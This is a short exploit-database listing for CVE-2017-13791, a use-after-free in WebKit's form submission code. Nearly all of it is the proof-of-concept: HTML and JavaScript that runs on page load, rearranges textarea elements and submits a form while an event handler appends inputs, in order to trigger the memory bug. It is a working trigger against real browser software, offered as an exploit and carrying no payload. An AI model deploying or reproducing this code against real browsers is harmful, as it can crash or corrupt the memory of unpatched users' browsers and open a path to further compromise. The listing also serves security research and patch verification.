Sploitus

Exploit for WebKit: use-after-free in WebCore::FormSubmission::create

CVE-2017-13791

seebug · 2017-11-23

Exploit Code

MARKDOWN21 lines
## https://sploitus.com/exploit?id=SSV:96894
<script>
function jsfuzzer() {
  textarea1.setRangeText("foo");
  textarea2.autofocus = true;
  textarea1.name = "foo";
  form.insertBefore(textarea2, form.firstChild);
  form.submit();
}
function eventhandler2() {
  for(var i=0;i<100;i++) {
    var e = document.createElement("input");
    form.appendChild(e);
  }
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>